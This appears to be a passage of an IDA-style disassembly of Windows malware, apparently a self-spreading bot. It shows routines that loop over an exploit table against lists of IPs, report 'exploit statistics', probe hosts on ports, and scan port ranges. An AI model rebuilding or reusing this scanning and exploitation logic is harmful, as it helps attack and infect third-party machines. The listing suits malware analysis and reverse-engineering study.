sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯" test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 ; _stricmp pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CEA4 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41CF50 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CCFE[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_47C] push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C ; free pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CF20 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CEDC lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 ; memcpy add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte ptr aJeP[eax] ; "†…ØÝ¯" test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset aJeP ; "†…ØÝ¯" push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 ; strcat pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CCFA[eax] push offset dword_41CFA4 lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CCFA[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 ; clock sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D050 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D018 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41CFE8 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 ; malloc pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D080 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D0F0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call ds:dword_41709C ; Sleep loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 ; clock mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D0DC lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call ds:dword_41709C ; Sleep jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 ; clock sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv ds:flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D0A0 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C ; atoi pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C ; atoi pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C ; atoi pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 ; strncpy add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 